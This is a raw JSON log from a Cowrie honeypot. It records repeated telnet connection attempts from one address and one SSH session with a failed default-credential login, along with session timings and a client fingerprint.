{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":33450,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa0c11be098","protocol":"telnet","message":"New connection: 51.81.202.206:33450 (159.203.135.109:23) [session: 4fa0c11be098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:56.761150Z"}
{"eventid":"cowrie.session.closed","duration":30.753041982650757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:58.154636Z","src_ip":"51.81.202.206","session":"30f7d53aef45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37330,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e57fb435035","protocol":"telnet","message":"New connection: 51.81.202.206:37330 (159.203.135.109:23) [session: 8e57fb435035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:58.668691Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37462,"dst_ip":"159.203.135.109","dst_port":23,"session":"6756cce79827","protocol":"telnet","message":"New connection: 51.81.202.206:37462 (159.203.135.109:23) [session: 6756cce79827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:58.715923Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":38918,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad033205c100","protocol":"telnet","message":"New connection: 51.81.202.206:38918 (159.203.135.109:23) [session: ad033205c100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:59.373996Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47016,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5f7431aadb","protocol":"ssh","message":"New connection: 159.203.92.129:47016 (159.203.135.109:22) [session: 5a5f7431aadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:59.718637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:59.724425Z","src_ip":"159.203.92.129","session":"5a5f7431aadb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:59.729047Z","src_ip":"159.203.92.129","session":"5a5f7431aadb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123456789","message":"login attempt [alex/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:59.741282Z","src_ip":"159.203.92.129","session":"5a5f7431aadb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":40210,"dst_ip":"159.203.135.109","dst_port":23,"session":"fccb970f05e0","protocol":"telnet","message":"New connection: 51.81.202.206:40210 (159.203.135.109:23) [session: fccb970f05e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:00.025002Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:00.754045Z","src_ip":"159.203.92.129","session":"5a5f7431aadb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":41888,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cddd8ff7b34","protocol":"telnet","message":"New connection: 51.81.202.206:41888 (159.203.135.109:23) [session: 3cddd8ff7b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:00.908653Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":42000,"dst_ip":"159.203.135.109","dst_port":23,"session":"a90d2e75eb10","protocol":"telnet","message":"New connection: 51.81.202.206:42000 (159.203.135.109:23) [session: a90d2e75eb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:00.967060Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48034,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb210570932","protocol":"telnet","message":"New connection: 51.81.202.206:48034 (159.203.135.109:23) [session: 6bb210570932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:04.071627Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48136,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5b8c710fa27","protocol":"telnet","message":"New connection: 51.81.202.206:48136 (159.203.135.109:23) [session: e5b8c710fa27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:04.144687Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":49854,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9e8aeda673c","protocol":"telnet","message":"New connection: 51.81.202.206:49854 (159.203.135.109:23) [session: f9e8aeda673c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:04.924764Z"}
{"eventid":"cowrie.session.closed","duration":31.181213855743408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:05.558736Z","src_ip":"51.81.202.206","session":"51506d0fca4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":51546,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef51fd6413e","protocol":"telnet","message":"New connection: 51.81.202.206:51546 (159.203.135.109:23) [session: cef51fd6413e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:05.687721Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52037,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f36404f8ea","protocol":"telnet","message":"New connection: 51.81.202.206:52037 (159.203.135.109:23) [session: 63f36404f8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:05.918685Z"}
{"eventid":"cowrie.session.closed","duration":30.778769493103027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:07.094366Z","src_ip":"51.81.202.206","session":"510e6d2b28d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":55112,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30f33629aa6","protocol":"telnet","message":"New connection: 51.81.202.206:55112 (159.203.135.109:23) [session: a30f33629aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:07.374626Z"}
{"eventid":"cowrie.session.closed","duration":30.814817190170288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:08.251064Z","src_ip":"51.81.202.206","session":"364d95d83ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":58614,"dst_ip":"159.203.135.109","dst_port":23,"session":"df6ee525636c","protocol":"telnet","message":"New connection: 51.81.202.206:58614 (159.203.135.109:23) [session: df6ee525636c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:08.928028Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":58916,"dst_ip":"159.203.135.109","dst_port":23,"session":"54f6e2514dda","protocol":"telnet","message":"New connection: 51.81.202.206:58916 (159.203.135.109:23) [session: 54f6e2514dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:09.064717Z"}
{"eventid":"cowrie.session.closed","duration":30.474411725997925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:10.187174Z","src_ip":"51.81.202.206","session":"02744609e8e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":32976,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e53c312970b","protocol":"telnet","message":"New connection: 51.81.202.206:32976 (159.203.135.109:23) [session: 8e53c312970b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:10.210245Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34592,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd760b5b4b34","protocol":"telnet","message":"New connection: 51.81.202.206:34592 (159.203.135.109:23) [session: dd760b5b4b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:10.938478Z"}
{"eventid":"cowrie.session.closed","duration":30.931316137313843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:11.112100Z","src_ip":"51.81.202.206","session":"26635357cad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.859058618545532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:12.048388Z","src_ip":"51.81.202.206","session":"7ca71f2dcf9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef45c7cd0f78","protocol":"telnet","message":"New connection: 51.81.202.206:37126 (159.203.135.109:23) [session: ef45c7cd0f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:12.253909Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":39330,"dst_ip":"159.203.135.109","dst_port":23,"session":"05faa71ed912","protocol":"telnet","message":"New connection: 51.81.202.206:39330 (159.203.135.109:23) [session: 05faa71ed912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:13.306509Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":39560,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e0f4c7a159","protocol":"telnet","message":"New connection: 51.81.202.206:39560 (159.203.135.109:23) [session: d3e0f4c7a159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:13.421713Z"}
{"eventid":"cowrie.session.closed","duration":31.699393033981323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:13.934537Z","src_ip":"51.81.202.206","session":"0412ba786c38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226962089538574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:17.508415Z","src_ip":"51.81.202.206","session":"7f4871629e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48960,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5a957e22c6f","protocol":"telnet","message":"New connection: 51.81.202.206:48960 (159.203.135.109:23) [session: f5a957e22c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:18.096012Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":49160,"dst_ip":"159.203.135.109","dst_port":23,"session":"b262aa78b8e7","protocol":"telnet","message":"New connection: 51.81.202.206:49160 (159.203.135.109:23) [session: b262aa78b8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:18.236014Z"}
{"eventid":"cowrie.session.closed","duration":30.88425374031067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:18.273750Z","src_ip":"51.81.202.206","session":"813a7c14c62f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773529767990112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:19.107487Z","src_ip":"51.81.202.206","session":"52c0cf53b4a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":51256,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0d8951d5229","protocol":"telnet","message":"New connection: 51.81.202.206:51256 (159.203.135.109:23) [session: e0d8951d5229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:19.275395Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":51330,"dst_ip":"159.203.135.109","dst_port":23,"session":"11f5a81710bf","protocol":"telnet","message":"New connection: 51.81.202.206:51330 (159.203.135.109:23) [session: 11f5a81710bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:19.309842Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":53904,"dst_ip":"159.203.135.109","dst_port":23,"session":"566c9863810f","protocol":"telnet","message":"New connection: 51.81.202.206:53904 (159.203.135.109:23) [session: 566c9863810f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:20.610574Z"}
{"eventid":"cowrie.session.closed","duration":30.717546701431274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:21.115139Z","src_ip":"51.81.202.206","session":"e91ad38c1494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":56558,"dst_ip":"159.203.135.109","dst_port":23,"session":"f85b6be8b999","protocol":"telnet","message":"New connection: 51.81.202.206:56558 (159.203.135.109:23) [session: f85b6be8b999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:21.810445Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":58982,"dst_ip":"159.203.135.109","dst_port":23,"session":"b36c1afc8151","protocol":"telnet","message":"New connection: 51.81.202.206:58982 (159.203.135.109:23) [session: b36c1afc8151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:22.898623Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":59646,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d457ed60938","protocol":"telnet","message":"New connection: 51.81.202.206:59646 (159.203.135.109:23) [session: 7d457ed60938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:23.242191Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":33210,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ee05a82f2a4","protocol":"telnet","message":"New connection: 51.81.202.206:33210 (159.203.135.109:23) [session: 1ee05a82f2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:24.028893Z"}
{"eventid":"cowrie.session.closed","duration":30.67356586456299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:24.110003Z","src_ip":"51.81.202.206","session":"6bd696c3a517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34028,"dst_ip":"159.203.135.109","dst_port":23,"session":"018b789178ea","protocol":"telnet","message":"New connection: 51.81.202.206:34028 (159.203.135.109:23) [session: 018b789178ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:24.378499Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34074,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aba31ba2f96","protocol":"telnet","message":"New connection: 51.81.202.206:34074 (159.203.135.109:23) [session: 6aba31ba2f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:24.400091Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34388,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b98e69193d3","protocol":"telnet","message":"New connection: 51.81.202.206:34388 (159.203.135.109:23) [session: 5b98e69193d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:24.539969Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8e68b0ade12","protocol":"telnet","message":"New connection: 51.81.202.206:35410 (159.203.135.109:23) [session: e8e68b0ade12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:24.989831Z"}
{"eventid":"cowrie.session.closed","duration":30.322232961654663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:25.046152Z","src_ip":"51.81.202.206","session":"979a16e4a8c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578458309173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:25.064420Z","src_ip":"51.81.202.206","session":"9207d297ccdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54546117782593,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:25.496962Z","src_ip":"144.79.218.12","session":"7cfa2e36b431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58172,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7aa9043243","protocol":"telnet","message":"New connection: 144.79.218.12:58172 (10.17.0.5:23) [session: fa7aa9043243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:25.680232Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37768,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c63088590ee","protocol":"telnet","message":"New connection: 51.81.202.206:37768 (159.203.135.109:23) [session: 1c63088590ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:26.127694Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37980,"dst_ip":"159.203.135.109","dst_port":23,"session":"81858dc77bb3","protocol":"telnet","message":"New connection: 51.81.202.206:37980 (159.203.135.109:23) [session: 81858dc77bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:26.230158Z"}
{"eventid":"cowrie.session.closed","duration":31.316481590270996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:26.576119Z","src_ip":"51.81.202.206","session":"3c23a52fe4d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36009120941162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:27.121151Z","src_ip":"51.81.202.206","session":"4fa0c11be098","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.333454608917236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:29.049244Z","src_ip":"51.81.202.206","session":"6756cce79827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66410732269287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:29.332676Z","src_ip":"51.81.202.206","session":"8e57fb435035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723700284957886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:30.097611Z","src_ip":"51.81.202.206","session":"ad033205c100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015207290649414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:31.040104Z","src_ip":"51.81.202.206","session":"fccb970f05e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13702368736267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:31.045533Z","src_ip":"51.81.202.206","session":"3cddd8ff7b34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":49240,"dst_ip":"159.203.135.109","dst_port":23,"session":"14ecae28c7eb","protocol":"telnet","message":"New connection: 51.81.202.206:49240 (159.203.135.109:23) [session: 14ecae28c7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:31.426726Z"}
{"eventid":"cowrie.session.closed","duration":31.743977546691895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:32.710964Z","src_ip":"51.81.202.206","session":"a90d2e75eb10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":55200,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5ad8e9cac9b","protocol":"telnet","message":"New connection: 51.81.202.206:55200 (159.203.135.109:23) [session: c5ad8e9cac9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:34.277697Z"}
{"eventid":"cowrie.session.closed","duration":30.97901153564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:35.050494Z","src_ip":"51.81.202.206","session":"6bb210570932","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1776762008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:35.102302Z","src_ip":"51.81.202.206","session":"f9e8aeda673c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.378689765930176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:35.523247Z","src_ip":"51.81.202.206","session":"e5b8c710fa27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.216257095336914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:36.134833Z","src_ip":"51.81.202.206","session":"63f36404f8ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.227124452590942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:36.914737Z","src_ip":"51.81.202.206","session":"cef51fd6413e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.696666717529297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:38.071146Z","src_ip":"51.81.202.206","session":"a30f33629aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34960,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a45387bc635","protocol":"telnet","message":"New connection: 51.81.202.206:34960 (159.203.135.109:23) [session: 9a45387bc635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:39:38.165056Z"}
